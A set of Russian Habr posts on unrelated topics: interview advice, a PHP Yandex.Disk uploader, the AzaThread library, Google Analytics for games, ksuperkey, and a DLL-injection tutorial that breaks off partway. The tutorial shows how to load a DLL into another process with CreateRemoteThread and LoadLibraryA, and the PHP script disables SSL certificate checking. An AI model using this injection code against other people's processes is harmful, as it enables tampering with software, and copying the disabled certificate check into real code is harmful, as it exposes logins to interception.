В случае отказа нужно сохранять спокойствие. Да, это обидно, но примите отказ гордо и спокойно. Не стоит писать в ответ: «Это вы так себе компания, и вопросы у вас глупые, вообще я просто так зашёл к вам по пути в магазин». IT — слишком маленький мир, и вы никогда не знаете, с кем столкнётесь в будущем. Вместо этого попросите детальный отзыв, над чем вам следует поработать. Ведь всегда можно попробовать устроиться в эту компанию ещё раз через полгода–год.
Если компания даст вам обратную связь, обработайте её внимательно. Найдите ответы на вопросы и решите задачи, с которыми не удалось справиться на собеседовании. Только обучаясь на своих ошибках, можно стать хорошим разработчиком.
Не бойтесь ходить на собеседования. Это важный опыт, который помогает узнать свои слабые стороны и прокачать их. К тому же худшее, что может случиться, — отказ, но так ли это страшно? | https://habr.com/ru/post/542444/ | null | ru | null |
# Автоматическая загрузка файлов на Яндекс.Диск
Предлагаю вашему вниманию PHP скрипт автоматической загрузки файлов на сервис Яндекс.Диск. Скрипт прост до безобразия, достаточно передать ему в качестве параметров логин, пароль и путь к файлу и в результате он загрузит ваш файл на сервис и выдаст вам ссылку на него. Не знаю, сколько еще меня вместе с моими постами будет терпеть Яндекс, но все-таки приведу исходный код скрипта :)
> `Copy Source | Copy HTML1. php</font
> 2. print uploadFile(ваш\_логин, ваш\_пароль, путь\_к\_файлу)."\n";
> 3.
> 4. function uploadFile($login, $password, $filename)
> 5. {
> 6. $cookie\_file = 'cookie.txt';
> 7. $user\_agent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6';
> 8.
> 9. // логинимся в систему
> 10. $ch = curl\_init('https://passport.yandex.ru/passport?mode=auth');
> 11.
> 12. $fields = array();
> 13. $fields[] = "login=$login";
> 14. $fields[] = "passwd=$password";
> 15. $fields[] = "twoweeks=yes";
> 16. curl\_setopt($ch, CURLOPT\_POSTFIELDS, implode('&', $fields));
> 17. curl\_setopt($ch, CURLOPT\_RETURNTRANSFER, 1);
> 18. curl\_setopt($ch, CURLOPT\_USERAGENT, $user\_agent);
> 19. curl\_setopt($ch, CURLOPT\_FOLLOWLOCATION, 1);
> 20. curl\_setopt($ch, CURLOPT\_COOKIEJAR, $cookie\_file);
> 21. curl\_setopt($ch, CURLOPT\_SSL\_VERIFYPEER, 0);
> 22. curl\_setopt($ch, CURLOPT\_POST, 1);
> 23. $result = curl\_exec($ch);
> 24. $info = curl\_getinfo($ch);
> 25.
> 26. if ($info['http\_code'] != 200) return false;
> 27.
> 28. // запрашиваем сервер для загрузки файла
> 29. $url = 'http://narod.yandex.ru/disk/getstorage/?rnd=' . (mt\_rand( 0, 777777) + 777777);
> 30.
> 31. curl\_setopt($ch, CURLOPT\_URL, $url);
> 32. curl\_setopt($ch, CURLOPT\_POST, 0);
> 33. curl\_setopt($ch, CURLOPT\_COOKIEFILE, $cookie\_file);
> 34. $result = curl\_exec($ch);
> 35. $info = curl\_getinfo($ch);
> 36.
> 37. if (preg\_match('/"url":"(.\*?)", "hash":"(.\*?)", "purl":"(.\*?)"/', $result, $m)) {
> 38. $upload\_url = $m[1];
> 39. $hash = $m[2];
> 40. $purl = $m[3];
> 41. } else {
> 42. return false;
> 43. }
> 44.
> 45. // загружаем файл на сервер
> 46. $url = $upload\_url . '?tid=' . $hash;
> 47. $fields = array();
> 48. $fields['file'] = '@' . $filename;
> 49. curl\_setopt($ch, CURLOPT\_URL, $url);
> 50. curl\_setopt($ch, CURLOPT\_REFERER, 'http://narod.yandex.ru/');
> 51. curl\_setopt($ch, CURLOPT\_POST, 1);
> 52. curl\_setopt($ch, CURLOPT\_POSTFIELDS, $fields);
> 53. $result = curl\_exec($ch);
> 54. $info = curl\_getinfo($ch);
> 55.
> 56. if ($info['http\_code'] != 200) return false;
> 57.
> 58. // print\_r($info);
> 59. // проверяем прогресс бар
> 60. $url = $purl . '?tid=' . $hash . '&rnd=' . (mt\_rand( 0, 777777) + 777777);
> 61.
> 62. curl\_setopt($ch, CURLOPT\_URL, $url);
> 63. curl\_setopt($ch, CURLOPT\_POST, 0);
> 64. $result = curl\_exec($ch);
> 65.
> 66. if (!preg\_match('/"status": "done"/', $result, $m)) {
> 67. return false;
> 68. }
> 69.
> 70. // переходим на страницу и определяем ссылку
> 71. $url = 'http://narod.yandex.ru/disk/last/';
> 72. curl\_setopt($ch, CURLOPT\_URL, $url);
> 73. $result = curl\_exec($ch);
> 74. curl\_close($ch);
> 75.
> 76. if (preg\_match('//', $result, $m)) {
> 77. $fileURL = trim($m[1]);
> 78. return $fileURL;
> 79. }
> 80.
> 81. return false;
> 82. }
> 83. ?>
> 84.` | https://habr.com/ru/post/67111/ | null | ru | null |
# AzaThread — многопоточность для PHP с блэкджеком
В сети гуляет довольно много решений для эмуляции многопоточности в php. Чаще всего они основываются на форках, но есть и вариации на тему с использованием curl, proc\_open и т.п.
Все встреченные варианты по тем или иным причинам меня не устроили и пришлось написать свое решение.
Набор требований у меня был следующий:
* Использование форков;
* Синхронный режим с сохранением интерфейса при отсутствии необходимых расширений;
* Многократное использование дочерних процессов;
* Полноценный обмен данными между процессами. Т.е. запуск с аргументами и получение результата по завершении;
* Возможность обмена событиями между дочерним процессом-«потоком» и основным процессом во время работы;
* Работа с пулом потоков с сохранением многократного использования, передачи аргументов и получения результатов;
* Обработка ошибок выполнения;
* Таймауты на выполнение работы, ожидание работы потоком, инициализацию;
* Максимум производительности;
В результате получилась библиотека **AzaThread** (старое название — CThread).
Для нетерпеливых сразу ссылка на исходники:
[github.com/Anizoptera/AzaThread](https://github.com/Anizoptera/AzaThread)
### Описание
AzaThread предоставляет простой интерфейс для создания классов-потоков. Которые на самом деле используют отдельные процессы для асинхронной работы, но вас это не должно волновать. Вы можете посылать события из потока, возвращать результаты, использовать один поток множество раз передавая ему аргументы запуска или создать пул из 16 потоков разгребающих ваши задачи как горячие пирожки не обращая никакого внимания на то, что работа происходит в разных процессах.
Кроме этого вы можете легко протестировать производительность библиотеки в разных режимах, выбрав оптимальное число потоков и вариант передачи данных между процессами специально для вашей конфигурации.
Для полноценной работы требуются следующие расширения: **libevent**, **posix** и **pcntl**.
Библиотека использует LibEvent и парные сокеты для общения между процессами. Поддерживает 5 вариантов передачи данных (аргументов, результатов и данных событий)!
Варианты привожу сразу с данными производительности. Тестировалось с пулом из восьми потоков на Intel Core i7 2600K 3.40 Ghz (Ubuntu 11.04 на виртуалке VMware). Приведены средние результаты за 10 повторов теста в jps (jobs per second — кол-во задач просто получающих аргументы и отдающих данные в секунду).
| № | jps | Описание |
| --- | --- | --- |
| 1 | 6501 | Передача данных в сериализованном виде через те же сокеты. Вариант по умолчанию. |
| 2 | 6625 | То же самое, но с igbinary сериализацией (наиболее производительный вариант). Используется по умолчанию если igbinary установлен. |
| 3 | 6194 | System V Memory queue (sysvmsg) |
| 4 | 6008 | System V Shared memory (sysvshm) |
| 5 | 6052 | Shared memory (shmop) |
Автоматически выбирается расширение для работы с сокетами. Если доступно, то используется расширение **sockets**, что дает улучшение производительности. В ином случае задействуется **stream**.
В дочернем процессе слушаются все доступные сигналы. По умолчанию на все из них (кроме SIGWINCH и SIGINFO) следует завершение работы. Но это легко можно переопределить создав в классе потока метод с именем сигнала. Например *sigWinch*.
В родительском процессе по умолчанию тоже перхватываются все сигналы. Это можно изменить выставив у класса параметр *listenMasterSignals* в false. В этом случае обрабатываться будет только SIGCHLD. Свои собственные обработчики можно легко добавить создав статический метод с названием *m< имя сигнала >*. Например *mSigTerm*.
Если дочерний процесс умрет по каким либо причинам, класс автоматически форкнется при запуске новой задачи. Это происходит незаметно и можно вообще об этом не задумываться. Просто инстанс не нужно пересоздавать в случае какой либо ошибки.
Дочерний процесс время от времени проверяет существование родительского. Если он вдруг помрет, то дочерний автоматический завершится.
Все ресурсы используемые потоком или пулом потоков автоматически очищаются при вызове деструктора. Но их можно очистить принудительно если вызывать метод *cleanup*. В этом случае поток/пул больше нельзя использовать.
При стандартных настройках поток инициализируется заранее, сразу при создании класса. Если установить параметр *prefork* в false, то форк будет происходить только в момент запуска задачи.
Вообще настраиваемых параметров довольно много. Смена имени дочернего процесса после форка (параметр *pName* конструктора), таймаут на время выполнения задачи (*timeoutWork*), таймаут на максимальное время ожидания задач дочерним процессом (*timeoutMaxWait*), таймаут на время пре-инициализации (*timeoutInit*), размеры буферов для чтения сокетов (*pipeReadSize*, *pipeMasterReadSize*).
Можно отключить режим мультизадачности для потоков (*multitask*). В этом случае каждый раз по завершении задачи дочерний процесс будет умирать и форкаться заново для следующего запуска. Это заметно уменьшит производительность.
Код покрыт тестами и подробно документирован, примеры использования можно посмотреть и запустить в файле *example.php*.
Более сложные примеры с обработкой ошибок можно увидеть в коде юнит теста.
Есть режим отладки в котором выводится очень подробная информация о том, что именно и где творится.
### Примеры использования
Основная фича — максимальная простота. Если вы хотите просто запустить что либо в отдельном «потоке» достаточно следующего кода:
```
class ExampleThread extends Thread
{
protected function process()
{
// Some work here
}
}
$thread = new ExampleThread();
$thread->wait()->run();
```
Если есть все необходимое для полноценной работы, то задача будет выполнена асинхронно. Если нет, то все будет по прежнему работать, но в синхронном режиме.
С передачей параметра и получением результата код будет выглядеть лишь чуть чуть сложнее:
```
class ExampleThread extends Thread
{
protected function process()
{
return $this->getParam(0);
}
}
$thread = new ExampleThread();
$thread->wait()->run(123);
$result = $thread->wait()->getResult();
```
Аналогично легким мановением руки добавляем обработку событий из потока:
```
class ExampleThread extends Thread
{
const EV_PROCESS = 'process';
protected function process()
{
$events = $this->getParam(0);
for ($i = 0; $i < $events; $i++) {
$event_data = $i;
$this->trigger(self::EV_PROCESS, $event_data);
}
}
}
// Дополнительный аргумент.
$additionalArgument = 123;
$thread->bind(ExampleThread::EV_PROCESS, function($event_name, $event_data, $additional_arg) {
// обработка события
}, $additionalArgument);
$events = 10; // число событий, которое сгенерирует поток
// Чтобы не вызывать вручную ожидание потока перед первым вызовом,
// можно переопределить свойство preforkWait в TRUE в классе-наследнике
$thread->wait();
$thread = new ExampleThread();
$thread->run($events)->wait();
```
И наконец использование пула из восьми потоков с обработкой ошибок выполнения:
```
$threads = 8 // Число потоков
$pool = new ThreadPool('ExampleThread', $threads);
$num = 25; // Количество задач
$left = $num; // Количество оставшихся задач
do {
// Если в пуле есть свободные потоки
// И у нас остались задачи для выполнения
while ($pool->hasWaiting() && $left > 0) {
// При запуске получаем id потока
$threadId = $pool->run();
$left--;
}
if ($results = $pool->wait($failed)) {
foreach ($results as $threadId => $result) {
// Успешно выполненная задача
// Результат можно идентифицировать
// по id потока ($threadId)
$num--;
}
}
if ($failed) {
// Обработка ошибок выполнения.
// Работа считается завершенной неуспешно
// если дочерний процесс умер во время выполнения или
// истек таймаут на выполнение задачи
foreach ($failed as $threadId) {
$left++;
}
}
} while ($num > 0);
// Завершаем все дочерние процессы. Очищаем ресурсы используемые пулом.
$pool->cleanup();
```
### Результаты тестирования производительности
Тесты запускал на двух машинах с Ubuntu 11.04.
Первая — Intel Core i3 540 3.07 Ghz
Вторая — Intel Core i7 2600K 3.40 Ghz (убунту стоит на VMware виртуалке)
Результаты привожу просто чтобы можно было оценить рост производительности.
Опять же это средние результаты за серию из 10 повторов теста в jps (jobs per second — кол-во задач в секунду).
В качестве задачи потоки выполняют следующую фигню:
```
for ($i = 0; $i < 1000; $i++) {
$r = mt_rand(0, PHP_INT_MAX) * mt_rand(0, PHP_INT_MAX);
}
```
Первый результат указан для синхронного режима работы (без форков).
18 и 20 потоков на первой конфигурации я не пробовал, так как уже для 12 началось падение производительности.
| Число потоков | Первая конфигурация | Вторая |
| --- | --- | --- |
| 0 | 553 | 763 |
| 1 | 330 | 669 |
| 2 | 580 | 1254 |
| 4 | 1015 | 2188 |
| 8 | 1040 | 2618 |
| 10 | 1027 | 2719 |
| 12 | 970 | 2739 |
| 16 | 958 | 2904 |
| 18 | - | 2830 |
| 20 | - | 2730 |
То бишь производительность поднимается в 2-4 и более раза в зависимости от процессора!
Код, выполняющий серию тестов с нужными параметрами, лежит в файле *examples/speed\_test.php*. Так что вы легко можете протестировать производительность и выбрать оптимальное число потоков у себя.
Ну и в завершение еще раз ссылка на исходники, возможно кто-то не заметил сверху:
[github.com/Anizoptera/AzaThread](https://github.com/Anizoptera/AzaThread)
Буду очень рад если библиотека кому-либо пригодится. Любые фич-реквесты или обнаруженные баги можно оставлять на гитхабе, буду оперативно фиксить и улучшать библиотеку.
**UPD:**
Вышло большое обновление библиотеки и она переименована из CThread в AzaThread. В комментариях возмущались по поводу названия с «C». Так вот теперь библиотека называется AzaThread, использует пространства имен и поддерживает PSR-0 :)
В связи с этим немного поправил статью — код, название и ссылки на github.
**UPD2:**
Для AzaThread теперь есть [пакет composer](https://packagist.org/packages/aza/thread). Библиотека переехала [к остальным открытым компонентам](https://github.com/Anizoptera) из Anizoptera CMF. А о новых наших разработках и обновлениях открытых компонентов мы пишем теперь [на нашем блоге AzaGroup.ru](http://azagroup.ru/). | https://habr.com/ru/post/134501/ | null | ru | null |
# Google Analytics для игр, приложений соц. сетей
#### Вступление
В последнее время популярны приложения для соц. сетей и браузерные игры. К сожалению, соц. сети предоставляют довольно скудную статистику использовании приложений. Поэтому передо мной стоял выбор: собирать статистику на своем сервере, либо воспользоваться Google Analytics или чем-то подобным. В итоге я остановился на Google Analytics. В этой статье я расскажу:
* Как подключить приложение к Google Analytics?
* Какие возможности предоставляет Google Analytics?
* Как отслеживать события?
* Что и как отслеживать?
Я затрону только основные моменты. Если будет интересно продолжение, то я напишу новую статью, которая уже будет ориентированна на тех, кто знаком с Google Analytics.
#### Подключения приложения к Google Analytics
Для использования [Google Analytics](http://www.google.com/analytics/) для приложения требуется создать аккаунт на вкладке «Администратор», а затем добавить новый ресурс. После этого на вкладке «Код отслеживания» будет сгененирирован код для вашего приложения. Пример кода:
```
var \_gaq = \_gaq || [];
\_gaq.push(['\_setAccount', 'ВАШ ID']);
\_gaq.push(['\_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
```
Замечу, что при добавлении ресурса надо указывать не ссылку на приложение, а ссылку где приложение размещено у Вас на сервере. Пример:
```
http://yoursite.com/forder_for_apps/my_love_app/
```
Код надо вставить на всех страницах, которые Вы будете отслеживать.
#### Возможности Google Analytics
Здесь, я кратко пробегусь по основным возможностям, которые скорее всего Вам пригодятся.
##### Режим реального времени
Здесь можно видеть сколько пользователей сейчас в онлайне. На каких страницах, с каких стран.
##### Аудитория
Здесь можно увидеть кто посещал приложение за промежуток времени.
Можно просмотреть информацию о странах, браузерах, провайдерах о поведении и многое другое.
Все это дает достаточную информацию об аудитории и уже не надо задавать себе вопросы, на какой браузер ориентироваться в первую очередь, а каким можно пренебречь.
##### Содержание
Здесь можно найти информацию о содержимом сайте, скорости загрузки и о событиях, о которых подробнее я расскажу в следующем пункте.
Конверсии цели — это довольно объемная тема, про которую стоит рассказывать подробно. Но в рамках этой статьи я не могу.
Источники трафика — нам вряд ли пригодятся, если приложение IFrame. Но есть отдельная браузерная игра, то можно найти что-то полезное.
#### События
События использовать очень просто, достаточно вставить JavaScript код:
```
_gaq.push(['_trackEvent', category, action, opt_label, opt_value, opt_noninteraction]);
```
**category** — категория события. Например, шаг при регистрации.
**action** — действие события. Например, достижение 2-го уровня.
**opt\_label** — здесь, я обычно помещаю идентификатор пользователя (использовать не обязательно).
**opt\_value**и **opt\_noninteraction** пока не понадобятся.
Пример использования:
```
_gaq.push(['_trackEvent', 'register', 'start_reg', 11111]);
```
#### Примеры использования
Примеры будут показаны для ВКонтакте, но я думаю, можно их будет без проблем адаптировать под другие соц. сети. Также в примерах используется библиотека JQuery.
Пользователь зашел на страницу с формой регистрации:
```
_$(document).ready(function () {
try {
d = document.location.search.substr(1);
var p = d.split("&");
var V = {}, curr;
for (i = 0; i < p.length; i++) {
curr = p[i].split('=');
V[curr[0]] = curr[1];
}
id = V['viewer_id']; //получение идентификатора пользователя
key = V['auth_key'];
_gaq.push(['_trackEvent', 'register', 'begin', id]); //событие
....
}
catch (e) {
alert(e);
}
});
```
Пользователь выбрал пол, имя, навыки персонажа и отправил запрос на сервер:
```
jQuery.post("../join/", { info_for_register }, function (data) {
try {
var json = JSON.parse(data);
if (json.r == 1) { //при успешной регистрации вызываем событие
_gaq.push(['_trackEvent', 'register', 'success', id]);
...
```
Повышение уровня. Аналогично. Будем отслеживать, кто дошел до 2, 5 и 10-го.
```
if (mylevel == 1) {
_gaq.push(['_trackEvent', 'register', 'level2', id]);
} else if (mylevel == 4) {
_gaq.push(['_trackEvent', 'register', 'level5', id]);
} else if (mylevel == 9) {
_gaq.push(['_trackEvent', 'register', 'level10', id]);
}
```
Похожий запрос, но проверяем какой уровень у пользователя.
Теперь кое-что поинтереснее.
Многие приложения функцию: похвастаться каким-то достижением или покупкой на стене.
Раньше я использовал хеш теги и следил, что в поиске:
[vk.com/feed?q=%23swgames§ion=search](http://vk.com/feed?q=%23swgames§ion=search)
Способ был удобный, но он не совсем хорошо работал. Потом еще прикрыли. Теперь сообщения, которые разместил пользователь через приложения отсутствуют в поиске. Поиск стал чище, но я потерял удобный инструмент. Пришлось мне отслеживать с помощью Google Analitics.
```
VK.api("wall.post", { message: "Я купил крутое оружие" }, function (data) {
if (data.response !== undefined) { // undefined, если пользователь не подтвердил публикацию.
_gaq.push(['_trackEvent', 'wall', 'levelup', id]);
}
});
```
Все очень просто.
Теперь я расскажу и покажу, как это выглядит внутри в панели Google Analitics.
Пользовательские отчеты. Содержание. События. Обзор.
Здесь мы видим сколько зашло на страницу с регистрацией. Сколько ее прошло. Сколько достигло 2-го, 5-го и 10-го уровня.
Это хорошая информация для размышления.
Если интересно, то я могу в следующей статье рассказать больше про Google Analitics для приложений, а также написать статью, как была переделана регистрация для игры и как это повлияло на количество успешных регистраций.
Кстати, это первая моя статья на Хабре.
Рекомендую к прочтению:
[Добыча и переработка игрового трафика](http://habrahabr.ru/post/147266/)
[Руководство по Google Analitics (рус)](http://support.google.com/analytics/?hl=ru)
[Отслеживание событий. Официальная документация (англ)](https://developers.google.com/analytics/devguides/collection/gajs/eventTrackerGuide?hl=ru)
[Отслеживание событий Flash (англ)](https://developers.google.com/analytics/devguides/collection/other/flashTrackingIntro?hl=ru-RU) | https://habr.com/ru/post/150334/ | null | ru | null |
# ksuperkey — открытие меню KDE Kickoff по кнопке Win key (Super) в Ubuntu, Kubuntu и других версиях Linux
После перехода с Windows на Linux и KDE многие пользователи испытывают сильные мучения и головокружения из-за невозможности настройки открытия меню запуска программ KDE Kickoff по привычной кнопке Win на клавиатуре. Среди таких пользователей был и я, не столько из-за привычки, а больше из-за того что кнопка Win на клавиатуре занимает бесполезное место и не используется. Причем я очень долго и упорно искал и тестировал различные решения этой проблемы, но ни одно из них по-нормальному не работало либо требовало чуть-ли не перекомпилировать ядро.
Но в один прекрасный день я нашёл отличное и легкое в использовании решение — небольшая программка ksuperkey, которая делает это волшебство и очень просто устанавливается. Её достаточно установить, добавить в автозапуск и сразу все заработает как надо. Причем клавиатурные сочетания вида Win+D остаются рабочими.
Официальный сайт программы: [github.com/hanschen/ksuperkey](https://github.com/hanschen/ksuperkey)
Уведомление о новых версиях и обсуждение: [kde-apps.org/content/show.php?content=154569](http://kde-apps.org/content/show.php?content=154569)
В Ubuntu и Kubuntu программу ksuperkey можно установить с помощью «пары кликов» из PPA: [launchpad.net/~mehanik/+archive/ksuperkey](https://launchpad.net/~mehanik/+archive/ksuperkey) следующим способом через GUI:
1. Запускаем «Программа управления пакетами Muon» или для старых версий может называться «Менеджер пакетов», «Менеджер программ», «Software center», KPackageKit, Synaptic и т.п.:
2. Идем в меню Настройка — Настройка источников программ, вводим пароль администратора, должно открыться окно «Источники программ» или «Software Sources»:
3. Открываем закладку «Другие программы» (Other software), нажимаем кнопку «Добавить» (Add...) и в появившемся поле пишем: ppa:mehanik/ksuperkey
4. Нажимаем «Закрыть», кликаем кнопку «Проверить обновления» (Check updates), после чего набираем в поиске ksuperkey и кликаем на строке, после этого нажимаем в правом нижнем углу кнопку «Отметить для Установки»:
5. Нажимаем «Применить изменения», после установки закрываем программу, перезагружаем компьютер и радуемся работающей кнопке Win (Super key).
##### Более быстрый способ установки через консоль:
```
sudo add-apt-repository ppa:mehanik/ksuperkey
sudo apt-get update
sudo apt-get install ksuperkey
```
Для других дистрибутивов Linux программу можно установить с помощью компилирования из исходников, инструкции можно найти здесь: [kde-apps.org/content/show.php?content=154569](http://kde-apps.org/content/show.php?content=154569)
После установки нажатие кнопки Win будет эмулировать нажатие Alt+F1 и выполняться соответствующее действие, которое по-умолчанию открывает меню Kickoff. При этом другие клавиатурные сочетания вида Win+D или Win+R продолжают нормально работать, в отличие от других решений вида переназначения кнопки Win на кнопку F13 через xmodmap. Соответственно теперь на нажатие Win можно настроить любое нужное вам действие без лишних плясок с бубном.
##### После установки программа может сразу не заработать по следующим причинам:
1. Кнопка Win уже переназначена через Xmodmap. Для отключения этого нужно удалить или изменить файл .Xmodmap в вашей домашней папке.
2. Кнопка Win отмечена как кнопка Meta в настройках KDE. Для отключения нужно открыть Настройки системы — Устройства Ввода — Клавиатура — Дополнительно и убрать все галки связанные с кнопкой Win:
В остальных случаях у меня всё начинало работать сразу после перезагрузки без лишних действий.
#### Дополнительные настройки программы:
Кроме основной функции открытия меню Kickoff по кнопке Win эта программа может гибко настраиваться и под любые другие действия с левой, правой кнопкой Win, кнопками Shift, Alt, Ctrl, Menu и другими. Её можно настроить для работы с Lancelot, KRunner и любыми другими программами. Для этого нужно добавлять параметры к строке запуска программы:
`ksuperkey -e 'ModKey=Key[|OtherKey][;NextExpression]'`
Где ModKey — клавиша, которую хотите переназначить, из следующих вариантов:
Control\_L Control\_R Alt\_L Alt\_R Super\_L Super\_R Shift\_L Shift\_R
OtherKey — клавиша или комбинация клавиш, нажатие которых должно эмулироваться.
NextExpression — следующая комбинация, соответственно можно задать столько комбинаций сколько нужно.
Пример перенастройки кнопки Win для запуска KRunner (Alt+F2):
`ksuperkey -e 'Super_L=Alt_L|F2'`
Более сложный пример — По левому Ctrl открывается Kickoff, по левому Win -Krunner, по левому Shift — комбинация Ctrl+S:
`ksuperkey -e 'Control_L=Alt_L|F1;Super_L=Alt_L|F2;Shift_L=Control_L|S'`
Для отладки программы можно запускать её в дебаг-режиме используя параметр -d:
`ksuperkey -d -e 'Control_L=Alt_L|F1;Super_L=Alt_L|F2;Shift_L=Control_L|S'`
Подобнее о параметрах запуска написано на английском языке на сайте программы: [kde-apps.org/content/show.php?content=154569](http://kde-apps.org/content/show.php?content=154569)
Если у вас появятся какие-то предложения по развитию программы или обнаружаться баги, то не стесняйтесь создавать темы в баг-трекере репозитория [github.com/hanschen/ksuperkey/issues](https://github.com/hanschen/ksuperkey/issues)
Удачного использования и счастья в жизни! Надеюсь теперь у вас кнопка Win будет также быстро истираться на клавиатуре как и остальные, а не оставаться покрытой слоем пыли ;) | https://habr.com/ru/post/185336/ | null | ru | null |
# Внедрение своего кода в адресное пространство процессов
**##### Intro**
Внедрение своего кода( динамически ) в чужие процессы — штука достаточно интересная. Это может служить как во благо, так и во зло. Хотя, понятие «зло», местами, весьма абстрактно в информационном мире, я не могу провести точную границу между тем, что «плохо», а что «хорошо», тем более, если это касается внедрения кода…
В данной статье мы займемся созданием своего DLL инжектора. Что это такое, думаю, знают все. Такой способ внедрения стороннего кода достаточно популярен и удобен.
Писать DLL Injector мы будем на C++ в среде Microsoft Visual Studio 2010. Для создания динамически подключаемой библиотеки можно использовать любой инструмент, который вам по душе. Я же для создания библиотеки выбрал CodeGear RAD Studio 2009, язык Delphi( Object Pascal ).
Как же работает DLL Injection ?
Схема работы данного метода проста:
> 1) поиск и получение дескриптора нужного процесса
>
> 2) выделение памяти в процессе и последующая запись пути в DLL`ке по адресу, где произошло выделение памяти
>
> 3) создание нового потока в виртуальном пространстве процесса, дескриптор которого был получен.
>
>
**Начнем с создания DLL.**
Как я уже говорил, для этой цели будет использоваться язык Delphi:
Теперь добавим в DLL некоторые ресурсы, а именно — форму и кнопки для управления:
Сама DLL состоит лишь из нескольких строчек кода, которые будут отображать созданную форму. Также можно удалить все комментарии для более удобного визуального восприятия кода:
Теперь программируем интерфейс формы DLL. На форме есть две кнопки. Первая будет «убивать» родительский процесс( т.е процесс, в виртуальном пространстве которого был создан поток, в котором, в свою очередь, выполняется код DLL ). Вторая — рисовать 10 квадратов размером 25x25px в контексте всех окон приложения, принадлежащих процессу:
```
procedure TForm1.Button1Click(Sender: TObject);
var _curr_process:DWORD;
p_handle: THANDLE;
begin
// Убиваем родительский процесс
_curr_process:=GetCurrentProcessId();
p_handle:=OpenProcess(PROCESS_ALL_ACCESS,false,_curr_process);
TerminateProcess(p_handle,4);
end;
var dw:DWORD; // PID текущего процесса
procedure drawGroup(h:HWND);
var canvas:TBitMap;
rect:TRect;
x,y:integer;
i: Integer;
begin
// рисуем 10 квадратов
for i := 1 to 10 do
begin
canvas:=TBitMap.Create();
canvas.Canvas.Handle:=GetDC(h); // устанавливаем дескриптор контекста
randomize;
canvas.Canvas.Brush.Color:=rgb(random(255),random(255),random(255));
GetWindowRect(h,rect);
x:=random(rect.Right-rect.Left-25);
y:=random(rect.Bottom-rect.Top-25);
canvas.Canvas.Rectangle(x,y,x+25,y+25);
end;
end;
function func(h:HWND):BOOL; stdcall;
var pid:DWORD;
begin
GetWindowThreadProcessId(h,pid);
// запускаем функцию рисования в окне, если оно принадлежит нужному процессу:
if(pid=dw) then drawGroup(h);
result:=true;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
// Запускаем функцию рисования квадратов
// ( в перечислителе окон системы )
dw:=GetCurrentProcessId();
EnumWindows(@func,0); // перечисляем окна
end;
```
Исходный код интерфейсной части можно посмотреть [**здесь**](https://github.com/AsenOsen/Inj/blob/master/interface.pas) .
Тут все достаточно просто.
Итак, динамическая библиотека написана. Теперь компилируем ее и на выходе получаем скомпилированный файл с расширением ".dll", который можно переименовать для удобства. Я переименую библиотеку в «inj.dll».
Создание DLL завершено.
Осталось лишь скопировать нашу DLL`ку в системную директорию Windows, чтобы любое приложение могло отыскать её лишь по одному имени.
**Переходим к разработке инжектора.** Идем в Visual Studio и создаем Пустой проект( File->New->Project->Visual C++->General->Empty Project). Вся разработка будет производиться на «чистом» WinApi.
Первым делом создадим простейший визуальный интерфейс: форма, кнопка и текстовое поле. Выглядеть это будет примерно так:
Как видно, это приложение, обладающее минимальным дизайном и простейшим интерфейсом. В нем присутствуют два текстовых поля, предназначенных для ввода имени процесса( или его определенной части ), в который требуется произвести инжектирование DLL и для ввода имени самой DLL. Кнопка, соответственно, запускает процесс инжекта.
Для инжекта DLL в адресное пространство процессов понадобятся следующие WinApi функции:
*Для поиска нужного процесса:*
[CreateToolHelp32SnapShot](http://msdn.microsoft.com/en-us/library/windows/desktop/ms682489(v=vs.85).aspx)
[Process32First](http://msdn.microsoft.com/en-us/library/windows/desktop/ms684834(v=vs.85).aspx)
[Process32Next](http://msdn.microsoft.com/en-us/library/windows/desktop/ms684836(v=vs.85).aspx)
*Для инжекта:*
[OpenProcess](http://msdn.microsoft.com/en-us/library/windows/desktop/ms684320(v=vs.85).aspx)
[GetProcAddress](http://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx)
[VirtualAllocEx](http://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx)
[WriteProcessMemory](http://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx)
[CreateRemoteThread](http://msdn.microsoft.com/en-us/library/windows/desktop/ms682437(v=vs.85).aspx)
Итак, обдумаем, как же, собственно организовать «умную» архитектуру приложения, которая была бы понятной и простой.
Я предлагаю начать с обработки щелка по кнопке :)
```
MSG msg;
while (GetMessage(&msg,NULL,0,0))
{
// Button Click
if(msg.hwnd==button && msg.message==WM_LBUTTONUP)
{
// Getting Process Name
GetWindowText(edit_proc,buff,sizeof(buff));
strncpy(_p_name,buff,BUFF);
// Getting DLL Name
ZeroMemory(buff,sizeof(buff));
GetWindowText(edit_dll,buff,BUFF);
strncpy(_dll_name,buff,BUFF);
// Start Injection
StartInjection();
}
```
Ок, далее, переходим к реализации функции
> StartInjection();
, которая служит для поиска процесса по его имени:
```
int StartInjection()
{
// Searching of Process
PROCESSENTRY32 pe;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(snapshot==INVALID_HANDLE_VALUE)
{
ShowMessage("SnapShot Failed.");
return 0;
}
pe.dwSize = sizeof(PROCESSENTRY32);
int curr = Process32First(snapshot,&pe);
while(curr)
{
CharLowerBuff(pe.szExeFile,lstrlen(pe.szExeFile));
if(strstr(pe.szExeFile,_p_name)) {pid = pe.th32ProcessID; break;}
curr = Process32Next(snapshot,&pe);
}
if(pid==NULL)
{
ShowMessage("Searching of process failed.");
return 0;
}
bool result = Inject();
if(result==false)
{
ShowMessage("Injection failed.");
return 0;
}
}
```
И, наконец, завершающая процесс инжектирования функция
> Inject()
:
```
// Injection
bool Inject()
{
if(pid==NULL) return false;
// Получение дескриптора процесса
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
if(process==NULL) return false;
// "Вытягивание" функции из системной библиотеки для динамической
// подгрузки DLL в адресное пространство открытого процесса
LPVOID fp = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");
if(fp==NULL) return false;
// Выделение участка памяти размером strlen(_dll_name) для последующей
// записи имени библеотеки в память процесса.
